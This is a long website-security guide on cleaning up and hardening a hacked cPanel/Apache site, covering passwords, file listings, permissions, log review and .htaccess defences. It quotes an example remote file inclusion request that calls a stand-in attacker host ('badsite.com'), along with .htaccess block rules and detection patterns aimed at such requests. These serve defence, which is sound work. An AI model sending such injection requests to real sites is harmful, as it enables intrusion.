How to prevent your site from getting hacked. How to repair a damaged site. Website security precautions.

[This article is frequently updated and expanded. It is gradually being broken apart into separate articles because the Google language translator doesn't translate all the text of large pages.]

[Contrary to one of the tags applied to this article at StumbleUpon, this site has never been hacked in more than 150,000 attempts. Everything reported here is based on experience gained from helping others with compromised sites and from continual study about improved methods of protection.]



Step-by-step site repair

  • In an emergency, a detailed step-by-step procedure helps to focus on tasks and avoid panic. Hopefully, these steps will accomplish that. Heart pounding panic is normal, but it doesn't help much. Unless you enjoy it.
  • The concepts apply to any server even though only Linux, Apache, and cPanel methods are described.
  • The steps are given in order of priority if you have no idea where to start.

The reason these procedures are described in so much detail is so that if you've never done them before, you don't have to go hunting around the web for specifics. This isn't the time you should have to be doing that.

If you just start at step 1, focus, and dive in, what you learn now will help you manage your site with a lot more confidence in the future.

What not to do

Don't just repair the damaged files and hope this experience doesn't happen again. That is not enough.

Nobody is ever supposed to be able to add, delete, or change files in your website without your permission. It should never happen, and it usually doesn't. Most websites don't get hacked. If yours did, there is something wrong with it, or with the server, or with the webhost, or with the security on your PC. You have to figure out how this happened so you can prevent it from happening again.

Ok, let's get started... The checkboxes are to help keep your place as you go.


1) Log into cPanel

The line that says "Last login from:" should always be your IP address from the last time you logged in. If it isn't, write it down.

If you don't know your IP address, it currently appears to be 41.233.19.72, but that could be incorrect if you are viewing a cached copy of this page. You can find your IP address in Windows XP by one of these methods:

  • Click on your internet connection icon in your system tray. It is a picture of two computer screens that flash blue when data is being transmitted. On the Details tab, see the line that says "Client IP address".
  • Open a Command Prompt and run the ipconfig program:
    start > Run > cmd
    Type: ipconfig
    See the line that says IP Address
    Type: exit

With high-speed internet service, your IP is always the same. If you're on dial-up, it's different each time you log on.

If someone was able to log in to your control panel (like you do), they have your userID, password, and all the same access to your site that you have.

However, before you assume the worst, remember that if your site is at a webhosting company and you submitted a support ticket recently, a service technician might have logged into your account while investigating.


2) Notify your web hosting company

File a support ticket.

  • Tell them what has happened. Give them as much detail as you can about the symptoms the site is compromised.
  • If you have some idea when it happened, or when you first noticed it, tell them.
  • If you found an unknown IP address in cPanel, report it.
  • Give them a secondary email address that is not at your website so your host can still contact you if your site goes down or if the hacker is reading or deleting your website email.
  • Some webhosts will be willing to help you investigate. Others won't, but it doesn't hurt to ask if they can offer you any advice.
  • If you're on shared hosting, it is possible that the host is aware of other sites on your server that are affected. They probably won't publicize it and might not even tell you, but your report will help them, even if they don't admit it.
  • Also, only your webhost can clean up files outside your webspace that might have been affected.

3) Change all passwords: cPanel, publishing, databases, ...

Always use strong passwords. If you have been using a single password in multiple locations, take this opportunity to make every password different. This is important. The linked article explains why.

a) FrontPage users only: Change your FrontPage password first.

If the FrontPage Extensions are installed on the site, change your FP password first:

  1. Open your local copy of your site in FrontPage
  2. Click the Remote Web Site tab and log in
  3. Click Open your Remote Web site in FrontPage (this will open a new copy of FrontPage with your remote site in it)
  4. Click Tools > Server > Change Password. Whenever you get a password prompt during this procedure, it wants the old one. It doesn't want the new one until it asks for it.

After changing the FrontPage password...

b) Log in to your webhosting account and change the password there

Some webhosts allow password changes in cPanel. Others have a separate login for password changes.

Note: if you have scripts that use your cPanel userID and password to open database connections, the password change will break those scripts, and you will start getting connection failure or "Could not connect" errors:

  • If the connection data is hard-coded into the scipts, go through the scripts and change the password in all of them.
  • If your scripts read the connection data from an include (or other) file, change it in that file.
  • Since you're editing the files anyway, a better and more permanent solution is to stop using your cPanel userID/password, create a different user for database connections, put the connection data in one (protected) file, and have all your scripts read the data from the file, as described below.

c) Change the passwords you use for database connections

If your scripts connect to your databases as a user that is not your cPanel userID, the password change will not break your scripts. However, the hacker could have read the connection data for all your MySQL users from your files, so change all those passwords, too:

  1. Go to cPanel > MySQL® Databases > Current Users.
  2. In the list, find the user you want to modify. In shared hosting (and maybe in other environments, too), the username is prefixed with YourUserID_.
  3. In Username: enter the name of the user, but do not enter the prefix or the underscore. Enter only the part after the underscore. If the user is userID_example, then you enter example.
  4. In Password: enter the new password.
  5. Click Create User.
  6. The confirmation screen will tell you that the user was created with the new password.
  7. When you return to the MySQL Account Maintenance screen, you'll see that you have not really added a user, but only replaced the old one's password, and that this user still has the same privileges in the same databases that it had previously. You will also see that cPanel has automatically added the userID_ prefix to the username.
  8. Now change all your scripts to use the new passwords. See the bullet points in section b) above.

d) Change the passwords for all your email accounts

  1. Go to: cPanel > Mail > Add/Remove/Manage Accounts.
  2. Set a new password for each account.
  3. If you access your email with a POP or IMAP email client such as Microsoft Outlook, change its configuration settings so it knows the correct new password for each account.

4) If it is a dire emergency, take your website offline

If extremely offensive material, or viruses, were put on your pages, protect your visitors and your reputation by taking your site offline. If you do this promptly enough, you might avoid getting the "This site may harm your computer" warning in Google search results.

Are you hesitant to take your site offline? Consider this: a visitor who finds your site down will come back later. A visitor who gets attacked by a virus from your site will probably not come back, ever.


5) Enable log archiving in cPanel

  1. Go to cPanel > Raw Log Manager.
  2. Check the "Archive Logs..." box.
  3. Uncheck the "Remove the previous month's archived logs..." box.
  4. Click Save

If archiving was already on, the attack might be recorded in your log files. If archiving was off, it's too late, but another attack will probably occur, and that will be logged.


6) Find and repair all the malicious changes that were made

This describes an ideal cleanup. Fully completing every step might be impossible, but you have to do the most you can.

If your site isn't huge, and if you are thoroughly familiar with what is in your public_html folder, you can save time and trouble by deleting everything inside public_html (but don't delete the public_html folder itself) and republishing the entire site from a backup copy. You need to use your judgment whether this method will work for your site without destroying files you don't have copies of. You will still need to inspect your root directory (outside public_html) and its other subdirectories for damage.

To really start from scratch at a shared host, you can ask the host to "reprovision" your account, to recreate it as though it is brand new. The benefit is that it will automatically resolve two types of problems that can be difficult to find by inspection: it will 1) delete any files that shouldn't be there, and 2) fix any maliciously altered folder permissions. The downside is that after you republish your site fresh, you'll still need to configure other things such as your email accounts and password protection on folders, and the reprovisioning will delete data such as archived access logs and historical visitor stats.

6a) Get a complete list of all the files in your website

There are three methods (Sections 6a, 6b, 6c). For most purposes, this first cron job method will be easier to review in detail than the other two methods.

You might not have direct access to Linux on your server to create a directory listing, but you can create a cron job that will do it. It is the equivalent of the MSDOS command dir /s.

  1. Go to cPanel > Cron jobs > Standard.
  2. (First make sure any cron jobs listed there are ones you created. If you discover any created by the hack, copy the command lines and email addresses for later reference, and then delete the jobs.)
  3. Enter the email address where you want the output from your cron job sent.
  4. Enter the command line to run. The switches are case-sensitive, so use exactly this capitalization:
    ls -1aFlqR
    Here it is in upper case to make the letters distinct, but this command is NOT the same as the one above. Don't use it: LS -1AFLQR.
    The switches for the ls command are described at http://www.ss64.com/bash/ls.html and http://en.wikipedia.org/wiki/Ls.
  5. Make selections in all the other fields to specify a time several minutes in the future.
  6. Click "Save Crontab".
  7. After it runs and you receive the email, go back to Cron Jobs > Standard and delete this job.

The email will contain a file list with lines that look like the following example, which shows one directory and one file:

drwxr-x--- 33 user user 4096 Feb 5 20:51 public_html/
-rw-r--r-- 1 user user 16669 Feb 5 20:51 index.htm

A brief explanation:

  • d indicates a directory; so does the trailing slash (/)
  • The 3 groups of rwx are permissions for User, Group, World, in that order.
    r, w, x stands for Read, Write, eXecute. (Execute is only meaningful for programs and directories. It gives the user permission to run the program, or to enter the directory.)
  • The user fields should show only your hosting account userID or some other ones that are obvious system names.
  • The numbers are file sizes.
  • The timestamps are timestamps.
  • There is further explanation in this post at Lunarforums.

Walkthrough of the above examples:

public_html:

  • public_html is a directory.
  • The User (owner, me) can read, write, or "execute" (enter) that folder.
  • The Group (that I am member of) cannot Write to that folder (thus the hyphen where the w would be)
  • The World (everyone else) has no permissions here ("---"). (I know that seems odd for public_html, but the reasons why are not useful here.)

index.htm:

  • index.htm, the home page, is just a file: (no "d" or "/" indicator)
  • User can Read or Write (rw-). No "x" because it's not a folder or executable program.
  • To everyone else (Group and World), the file is Read-only (r--).

How to use the listing:

  1. If you have a similar list that you made previously when the site was clean, compare the two to find files that have changed size, files whose timestamps are not what they should be, and new files that shouldn't be there.
  2. If you don't have a prior list to compare against, review the new list for files that seem out of place. See What To Look For, below.

6b) Examine your site's files in cPanel > File Manager

If you can't use the cron job method, this is an alternative, but navigating up and down the directory tree gets tedious.

In File Manager, file and folder permissions are shown numerically. R=4, W=2, X=1. The permission level for a user is the sum, so the maximum a user can have is 7. If, for example, the User has RW, but Group and World only have R, then the permissions will be: 4+2=6, 4, 4, or "644".

6c) Examine your site's files using FTP

With an FTP view of your website, the folders and files look like what you are used to in Windows Explorer.

FTP view is available using one of the many "FTP client" programs, or Internet Explorer 6 or 7, or Windows Explorer.

FTP view is easy to navigate, and it allows sorting on the Date Modified column so you can spot files modified more recently than they should have been, but FTP view in Windows Explorer (as described below) doesn't show file and folder permissions in the display window. You have to right-click on each item.

With any FTP method, you need the FTP address for your site. It is probably something like: ftp://yourdomain.com/ or ftp://ftp.yourdomain.com/. If in doubt, ask your webhost.

a) FTP by IE6

In the IE6 address bar, type the FTP address for your site. If you don't get a login prompt, click File > Login As...

b) FTP by IE7

Help for this is available in IE7 Help (F1) > Contents > FTP.

  1. Open Tools > Internet Options > Advanced
  2. Make sure "Enable FTP folder view (outside IE)" is checked.
  3. Click OK.
  4. In the IE7 address bar, type the FTP address for your site.
  5. Ignore the error page.
  6. Click Page > Open FTP site in Windows Explorer...
  7. At the FTP Folder Error dialog box, click OK.
  8. Click File > Login As... to obtain the login prompt.
c) FTP by Windows Explorer
  1. Enable the address bar (View > Toolbars > Address bar). You may need to unlock the toolbars, relocate, and resize it.
  2. In the address bar, type the FTP address for your site.
  3. At the FTP Folder Error dialog box, click OK.
  4. Click File > Login As... to obtain the login prompt.

d) FTP by FireFTP.

One feature of the FireFTP Firefox extension is "Directory Comparison", which looks useful. I haven't tried it.

6d) What to look for in the list of files

  • Pages with modified dates more recent than you last saved the page yourself. Inspect each modified page to see if code has been added to it. Malicious changes to your displayable website pages often take the form of invisible iframes or "obfuscated" JavaScript. A separate article, what to do when Google flags your website with a "This site may harm your computer" warning, describes methods to locate and identify malicious iframes and JavaScript.

    If malicious JavaScript was added to your pages, it is a clue that the intent of the attack was to launch browser exploits against your site visitors.

    If iframes were inserted, it's a clue that the intent was either to launch browser exploits, as above, or to obtain a benefit from serving invisible content on your pages, such as links to other sites for higher search engine rankings.
  • New files with obviously suspicious names. Some hacks install files with names like hacked.html or vulnerable.php, etc. Others might have nonsensical names or names consisting of random character strings. Some might be in locations that make them suspicious, like a .php file in your /images folder. If you find a file that was definitely installed by the attack, search for other files that have almost the exact same timestamp.
  • Files you don't recognize. Determine whether each one is malicious or not. You can examine plain text PHP (.php) or Perl (.pl) scripts in a text editor.

    Unfortunately, you cannot simply delete all the files that aren't yours. Some are required system files that you just never noticed before. When in doubt, do a web search on the filename or post a question in a forum. Research the names of unfamiliar CGI programs, since they cannot be examined visually.

    If an exploit modified files on your server but didn't affect your displayable pages, it suggests that your site visitors weren't the target of the attack. Instead, it might have been trying to turn your site into a spam emailer or into a robot crawler to attack other sites, or to install on your site a library of malicious scripts or other content to be called by injected iframes or RFI attacks on other websites.
  • Check your root directory ("/") and its subdirectories for malicious or altered files. Even if you delete the contents of your public_html and republish the site from scratch, that doesn't overwrite your folders above public_html, so you must check those manually.

7) Check that your file and folder permissions are secure

Using the complete file list you made, or File Manager, make sure all file and folder permissions are what they should be.

When in doubt, you can compare the permissions of similar or neighboring files and folders. A hacker is unlikely to bother with changing all permissions.

Review the brief "RWX" explanation above and apply common sense. Your site visitors are "World", so World needs Read access to files they are supposed to see. World should almost never have Write access to anything.

Although different hosts have different configurations, common permissions for world-accessible folders are 755, and common permissions for world-accessible files are 644.

If you start running across what look like permissions modifications, you will need to study permissions settings more carefully and do a detailed investigation of each file and folder. Some files and folders have unusual permissions settings for valid reasons.

A hacker can modify file or folder permissions to allow them to get back in even after you clean up everything else in your site. If they can give themselves Write permission to one folder, they can upload exploit scripts, run them, and reinstall the hack.


8) Change all your passwords again

In case someone was "watching" inside your site while you did it the first time, do it again now that you know the site is clean. See Step 3) above.


9) Try to identify the IP address that launched the attack

This is not to identify the attacker. As described in a section below, that is most often not very useful. Rather, identifying the IP address will help you locate other important information about the attack.

If you can identify their IP address, you will be able to search all your logs for all the places where that IP address appears. That will help identify what weak part of your site was attacked, how it was attacked, and what malicious actions were performed.

Stats programs like Analog, Webalizer, or AWStats won't be much help because they generate aggregated statistics. You need the details about individual page requests.

cPanel > Web/FTP Stats > Latest Visitors is useful and easy. It's a good place to go when you first discover the problem, but it's only a start. The full raw logs are a better source of information.

a) If you have never used your site's raw access logs before, get a program to unzip .gz files:

You website's raw access logs are stored and sent to you as gzipped files. One program that will easily extract .gz files is 7-Zip. It is a command line utility that you run from a "Command Prompt" (aka "DOS box").

b) Get your logs from cPanel > Raw Log Manager

  1. Go to cPanel > Raw Log Manager. If you don't see a log file there, try cPanel > Raw Access Logs. That is a holding file where your data is stored until the server does its daily statistics processing, after which it is transferred to Raw Log Manager.
  2. Click the name of the file you want to download.
  3. At the Open or Save prompt, click Save. Use a descriptive filename. Save the file to a folder that will be easy to navigate to in a Command Prompt. C:\TEMP works well.
  4. Open a Command Prompt:
    Start > All Programs > Accessories > Command Prompt
    , or
    Start > Run > cmd.exe
  5. Go to the folder where you saved the .gz file: cd \temp
  6. Type the command line to extract the .gz file:
    7za.exe x filename.gz
  7. You should get a report that says "Everything is Ok".
  8. I usually delete the .gz file and rename the output file to .log.
  9. WordPad is best for viewing these log files as text (if they are less than about 12MB). Set the font to a monospaced font, with word wrap Off.
  10. If you are comfortable using Microsoft Access, the Webstats.mdb database has tables into which you can import your log files.
  11. The HTTP log will also import into Excel, but you will need to tweak the text import wizard settings to get the fields into their columns properly.

Go through the logs carefully. If log archiving was on at the time of the hack, look for suspicious activity in the days before it happened. Keep watching the logs in case they come back. They often do.

Your regular log shows HTTP accesses, your normal site visitors.

In the log entries, review the field called REMOTE_USER, User, or UserID. This field is blank ("-") most of the time. Where it does have a value, make sure it's your UserID and that the IP address is yours.

Mixed in with all the legitimate requests, look for attempts to GET pages that don't exist (result code = 404), especially when the request looks like:

GET /filename.php?inc=http://badsite.com/badscript.txt.

These are looking for vulnerable scripts and attempting to inject code into them. They are called Remote File Inclusion (RFI) attacks. They are extremely common, dangerous, and often successful.

Look for requests where the action is not GET, but PUT (very suspicious) or POST (only suspicious if none of your pages ever use it).

Try to correlate entries in your log with other site activity. For example, a hacked file will have a timestamp showing when it was modified. If your HTTP log shows that someone requested one of your .php files at the moment of the timestamp, that is very suspicious, especially if the GET command contained code like the above (...php?inc=). In the example above, you would examine filename.php for security vulnerabilities. This is how your logs can help identify how a hacker got in.

In the above example, you could also use your browser to download the badscript.txt file for inspection. If it calls other files from other sites, you can go get those, too. Following the trail and examining the code will reveal what the attack did to your site. Make sure your antivirus software is up-to-date. Some of these files (PHP scripts) would normally only be hazardous to your server, not to your home PC and browser, but others (especially the second-level ones called by the original PHP script) will directly try to infect your PC with viruses. Wget is a useful utility for retrieving potentially hazardous files without allowing them to be processed by a browser.

Your FTP log shows FTP accesses, one way that malicious people or robots can download your pages, modify them, and upload them back to your website. The only IP addresses in the FTP log should be yours and other authorized FTP users. Make sure the timestamps match times you were logged in and doing transfers.

There is reference information about FTP log file format at Apple Developer Connection.

I've seen reports of numerous instances where a webhost spotted in an FTP log a transfer from an IP address other than that of the site owner and immediately informed the owner that their password had been cracked or stolen. In too many of these instances, the surrounding circumstances make the webhost's claim unbelievable. Here is an alternative explanation:

PHP scripts called by RFI attacks sometimes use PHP's FTP file transfer functions to download additional malicious scripts and related files from a remote server so it can run or install them. The initial RFI includes the remote script into a legitimate script on the victim server, at which point it becomes a part of that script. The script then initiates an FTP transfer, which is recorded in the FTP log. The server does not show its own IP address in the FTP log, but rather that of the second party to the transfer, the remote website. The log of the session makes it appear as though someone logged in (which would have required the password) and initiated an FTP transfer, but in fact there never was a login. There didn't have to be one, because the session was initiated on the server, from the inside.

Remember this as a possibility if you find IP addresses other than yours in your FTP log or if your webhost tries to convince you too quickly, without considering other evidence, that your password "must have been" cracked. The danger of believing this easy story line (if it is not true) is that it can lead you to believe that all you have to do is change your password. However, if the real initiator of the FTP transfer was an RFI attack, changing your password won't help at all.

c) Use .htaccess or cPanel > Deny IP to block the hacker's HTTP access to your site

If you identified the hacker's IP address, one site where you can look it up to get more information about it is http://whois.domaintools.com/.

You can ban the IP address from your site using your public_html/.htaccess file. Apache documentation for this is at: http://httpd.apache.org/docs/1.3/mod/mod_access.html.

Review the instructions in a prior article for how to open .htaccess for editing. As described there, insert the following line in a part of the file that is not enclosed in HTML-like tags.

deny from nnn.nnn.nnn.nnn

The nnn's are the IP address to block.

If the hacker returns with a different IP that is in the same IP range (i.e. using the same ISP), you can block the whole range for a while, although that carries the risk of banning legitimate visitors, too.

The Apache documentation has instructions for banning a range. Some IP ranges are easily specified using a simple wildcard notation. Others ranges can only be successfully defined using "CIDR/netmask" notation. Although it looks intimidating, it's easy after the first time you do it. See the separate article describing how to calculate and use the CIDR/netmask.

d) If the hacker has obtained access to your cPanel or FTP, banning their IP address in .htaccess will NOT keep them out of cPanel and FTP.

If they have scripts that they call by HTTP, it will prevent them from doing that, but only until they log into cPanel and un-ban themselves in .htaccess.


10) Investigate what made the hack possible

It might be obvious or it might require detective work. The section below on hack prevention describes some common avenues of attack. It is important to identify how they got in so you can prevent the next attack. For example, if they got in through a vulnerable script, and you don't rewrite or update the script, all the work you've done to this point is useless because they can come right back and wreck your site again.

Three common avenues:

  1. Old vulnerable versions of third party scripts. Make sure you are always using the latest versions of software for forums, image galleries, blogs, shopping carts, and everything else.

    The script version is often shown on the pages generated by the script, so go to your gallery, blog, or forum, and look around. Then compare the version to the latest one being distributed at the website for that software.

    If you do your installations through Fantastico, you can check your versions at cPanel > Fantastico > Installations overview, but Fantastico itself is often a version behind the current release. It is better to do your version check (and installations) manually if you are able.
  2. The site password was easy to crack.
  3. Homebrew PHP or CGI scripts were flawed and had security holes. Make sure the settings in your php.ini file are as secure as possible.

    If you suspect that a script you wrote yourself might be the security weakness, it is safest to stop using that script until you can examine it for safety. After making a local copy for yourself, delete the script from the server. Removing the links to it isn't enough. As long as the script is on the server, anyone who already knows its name can still access it. If you leave it on the server, at least rename it.

Regardless of what the specific point of entry was (forum, gallery, blog, etc.), the top suspect should always be a Remote File Inclusion attack that succeeded because of insecure php.ini or .htaccess settings. More than 99% of the attacks on this website are RFI attempts. That does not mean RFI is the only possibility. It is not. But it is the first one to investigate unless you already have good evidence that it was something else. RFI attacks show in your HTTP access logs, and are described throughout this article. After RFI, SQL injection is the second most likely suspect.


11) Report or go after the hacker legally?

Hacking is a violation of the terms of service for any legitimate webhost or ISP. If you can prove conclusively that someone is using a particular IP address for hacking (or spamming, too), you could report the incident to the webhost or ISP in hopes that they might shut the perpetrator down. The contact email is often abuse@ the company.

However, your chances of getting anywhere with this aren't very great. Even if you succeed, it's a drop in the bucket. Although you might feel as though you are in a battle of wits with a wily adversary, it is thousands of times more likely that you were hit by an automated drive-by attack that is playing a percentage game, with malicious requests being launched against millions of websites, from hundreds of malicious servers. If one is shut down, it's just a cost of doing business for them.

It is a more worthwhile use of your time to do everything you can to protect your site from all hackers, regardless of who they are, and understand that there will be a constant flood of attacks against your site.


What to do NOW to protect your website

Website security precautions

1) Always use strong passwords.

2) Use a different password for every purpose.

3) Don't weaken your server's file and folder permissions.

Each file and folder on your server has permissions settings that determine who can read or write that file, execute that program, or enter that folder. Your webhost initially created your webspace with secure permission settings on all files and folders.

Do not modify the permissions until you know what you're doing. Don't guess. One mistake can allow anyone else on your shared server to put files on your site or allow anyone in the world to put files there by first getting into a weaker website on your shared server and running a malicious PHP script from there.

In particular, people having trouble installing web applications are sometimes told, "try setting the permissions to 777". Never do this until you have asked your webhost if it is safe on your particular server configuration. Also remember that for some web applications, 777 is only used during the installation, and must not be left that way. Also remember to delete the install scripts after use, if the instructions tell you to.

There is a brief explanation of permissions settings earlier in this article.

4) Choose third party scripts carefully

Don't load your website down with every cool script, gadget, feature, function, and code snippet you can find on the web. Any one of them could be an avenue of attack. Before you use one, do a web search to discover if it has caused problems for others. One place you can look up vulnerabilities is Secunia.com. There is a link to their website at the bottom of this page.

5) Keep third party scripts up to date

If you use third party scripts like Coppermine, WordPress, SMF, phpBB, or others, get on a mailing list, RSS feed, or visit forums where updates are announced. When a security update is released, install it promptly. When a vulnerability is found in a popular script, it will be exploited soon by a lot of hackers because it gives them entry to a large number of sites.

6) Write your own scripts securely

  • Learn about the security risks of every language you use.
  • When you use an unfamiliar function for the first time, look it up in the manual to see if it has security implications, do's and don'ts.
  • For PHP, use a php.ini file to block common avenues of attack.
  • There are lots of online resources for learning how to code securely.

A vulnerable script can give hackers access to your user database and to financial or other confidential data.

  • All data that comes into your script from the outside world is a security hazard. If your script receives outside data from a user form submission or from a URL query string or from a cookie, the input must be cleaned before it is used to include a file or access a database. An example of how one injection exploit works is at this Lunarforums post.

7) Block suspicious activity with .htaccess

Regularly look through your raw access logs. They will probably reveal attacks of the types described in this article. Even if the attempts are unsuccessful, your logs give early warning about what methods are being used, which gives you time to figure out how to defend against them. It won't be long before you can tell what is a legitimate request and what is malicious. Here are some examples of how to block suspicious activity:

  1. Ban bad robots.
    One program often misused for automated remote file inclusion attacks is called "libwww-perl". The RFI cannot succeed if your server refuses to serve the file, so blocking this commonly malicious User-Agent can be one defense in a multi-layer approach. (Another layer is to use secure php.ini settings.) Put the following lines in your public_html/.htaccess, in a part of the file that is not delimited by HTML-style tags like :

SetEnvIfNoCase User-Agent libwww-perl block_bad_bots
# to deny more User-Agents, copy the line above and change
# only libwww-perl, to match the new name.
deny from env=block_bad_bots

SetEnvIfNoCase does a case-insensitive test of the User-Agent against a regular expression, which in this case is "contains libwww-perl". If it matches, it sets the variable block_bad_bots. The final line says if block_bad_bots was set (i.e. if the requestor matched any of the bad robots), deny the request and send a 403 Forbidden error instead. Regardless of what the bad robot was trying to do, it won't succeed.

  1. Ban suspicious URL query strings.
    Another defense against RFI is to block all requests having the form:
    GET /index.php?inc=http://badsite.com/badscript.txt?
    The following .htaccess code blocks any request where the query string (the part after the first question mark) contains "=http://" or "=ftp://". During times when you need to use a query string of that type yourself, you can comment out the code block or enable the exception shown:

RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\://.*$ [NC]
# Allow yourself, for SMF Forum Package Manager upgrades.
# Set it to your own IP address so you are the only one who won't be blocked.
#RewriteCond %{REMOTE_ADDR} !^111\.222\.333\.444$ [NC]
RewriteRule .* - [F,L]

To test: you should get a 403 Forbidden error when you try to go to:

http://yoursite.com?test=http://yoursite.com/anypage.htm
http://yoursite.com?test=ftp://yoursite.com/anypage.htm

If you have coded your pages so they use remote file includes from your own site or from some external site (such that your site receives requests, constructed by you, that have URLs in the query strings), my first advice is that you should try to stop doing that:

  • Instead of sending your own site a request that has a URL in the query string, you can put in the query string a text string that the receiving page translates into a URL after it receives it. That way, your script can't be tricked by someone who sends it a malicious URL instead of one of the legitimate ones it expects.

If you must send your own site requests that have URLs in the query strings, you can use a more complicated .htaccess to allow your own remote file inclusion requests but ban others:

# FIRST, DISALLOW QUERY STRINGS CONTAINING MORE INSTANCES OF http://
# THAN WE EVER USE OURSELVES, TO LIMIT THE NUMBER OF TESTS WE MUST DO LATER.
# THIS EXAMPLE ALLOWS ONLY INSTANCE PER QUERY STRING.
RewriteCond %{QUERY_STRING} (.*http(\:|%3A)(/|%2F)(/|%2F).*){2,} [NC]
RewriteRule .* - [F,L]

# NOW WE CAN TEST EACH INSTANCE AGAINST THE LIST OF SITES WE WANT TO ALLOW.
# SINCE THIS IS A NEW REWRITE RULE, WE MUST TEST AGAIN WHETHER IT CONTAINS http://
RewriteCond %{QUERY_STRING} http(\:|%3A)(/|%2F)(/|%2F) [NC]

# THEN FALL THROUGH TO THE BAN IF IT IS NOT ONE OF THE SITES IN OUR ALLOW LIST.
RewriteCond %{QUERY_STRING} !(http(\:|%3A)(/|%2F)(/|%2F)(www\.)?site1\.com) [NC]
RewriteCond %{QUERY_STRING} !(http(\:|%3A)(/|%2F)(/|%2F)(www\.)?site2\.com) [NC]
#ADD A LINE FOR EACH EXTERNAL SITE YOU WANT TO ALLOW TO APPEAR IN QUERY STRINGS.

RewriteRule .* - [F,L]

Allowing for more than one instance of http:// in your query strings is possible. It requires complex code that we can custom design for you if needed.

Other query string bans:

1) Malicious RFI attempts almost always have a question mark at the end of the query string. Ban any query string that contains a question mark. The first question mark (which marks the beginning of the query string) is not part of the query string, so only question marks after the first one will trigger the ban:

RewriteCond %{QUERY_STRING} (\?|%3F) [NC]
RewriteRule .* - [F,L]

2) Be creative: find other characteristics that are common in the attacks on your site but that are never present in legitimate requests. Be thorough: use every good ban rule you can think of. "Good enough" is not good enough. It is very satisfying to see an attack on your site and know that even though it only needed to trigger one ban rule to fail, there were six others in reserve that it would have triggered.

  1. Ban IP addresses responsible for suspicious activity.
    You can block IP addresses (or ranges) in .htaccess or by cPanel > Deny IP. Although such bans can be useful against IP addresses you are 100% certain will never make a legitimate request, they aren't otherwise very practical. Once a botnet starts attacking your site, the requests will come from hundreds of different IPs, and banning them all will be futile. It is much better to ban by the other characteristics of the requests.

8) Keep spyware off your computer. Prevent password interception.

  • If you use a wireless network, make sure it is not open to eavesdroppers.
  • Keep your computer free of spyware such as keyloggers.
  • If you're worried about your password being intercepted between you and your server, use encrypted https to log in to your server.

Preparations that will make hack diagnosis and cleanup easier

1) Turn on log archiving in cPanel

Periodically delete the accumulated logs so they don't consume all your hard drive space.

2) Get a list of your site files NOW while they are known-good

This will be a baseline list of all the files that are supposed to be in your website. If your site gets damaged, this list will help you decide whether a file you don't recognize is new or is just a system file that you never noticed before.

3) Explore your website and become familiar with what is there

Not just your pages, but the whole site, using FTP or File Manager or the complete file list you made. If you get used to what is normal, things that aren't will catch your attention.

4) Use good database connection practices in scripts:

a) Create separate MySQL users for your scripts to use

If you use your cPanel userID and password for database connections in your scripts, then changing your cPanel password will instantly break all your scripts until you recode them to use the new password.

Instead, create one or more new users, completely unrelated to your cPanel login, that your scripts can use for their database connections:

  1. Go to cPanel > MySQL® Databases > Current Users.
  2. In Username: enter the name of the user to create. Although the existing user names might appear as YourUserID_username, don't enter the prefix and underscore. cPanel will do that for you, if needed.
  3. In Password: enter the password to use. Make it a strong one.
  4. Click Create User, read the confirmation screen, and then Go Back to the MySQL Account Maintenance page.
  5. Go to the Add Users To Your Databases section.
  6. In the left dropdown box, select the user you just created.
  7. In the right dropdown box, select the database you want that user to be able to connect to.
  8. Select the Privileges you want that user to have for that database, by checking the appropriate boxes. Select only the privileges the user really needs for performing whatever tasks your scripts will do. Granting only limited privileges is a security precaution.
  9. Click Add User To Database. Your new user now has the specified privileges, for that database only. Add the user to other databases, if needed.

Now update your scripts so they use the connection data for this new user instead of your old cPanel user. However, ...

b) Put your MySQL connection data in a well protected file

If each of your scripts has its own code block for database connection, then if you are hacked and have to change your passwords, you'll have to hunt through all your files to find every code block that needs changing.

Instead, put all your database connection code in one central location such as an include file that is well-protected from web access, and make all your scripts read it from there. There are examples and some discussion about how to do this in the User Contributed Notes at http://us.php.net/mysql_connect. You can protect your include file by putting it in a folder above public_html, or in any folder that is closed to web access by an .htaccess file, or by the other methods mentioned in the php.net Notes.

Unfortunately, none of these protection methods will keep your data safe from someone who has actually gotten into your site, but the new database connection method you have just created will make it easier to change your password if that does happen.


Other sources of website security information

Hardening WordPress
Many tips for how to improve WordPress security, with links to more.

Security FAQ at Joomla.org Help Site
9/10/2007. This set of pages is an excellent source of security related information regardless of whether you use Joomla or not. Naturally I like them because they say many of the same things I do, but you might find it helpful to see similar things described in two different ways by two different sources.

Secunia.com
Tracks and reports software vulnerabilities. Search their database for security advisories about scripts you use or plan to use.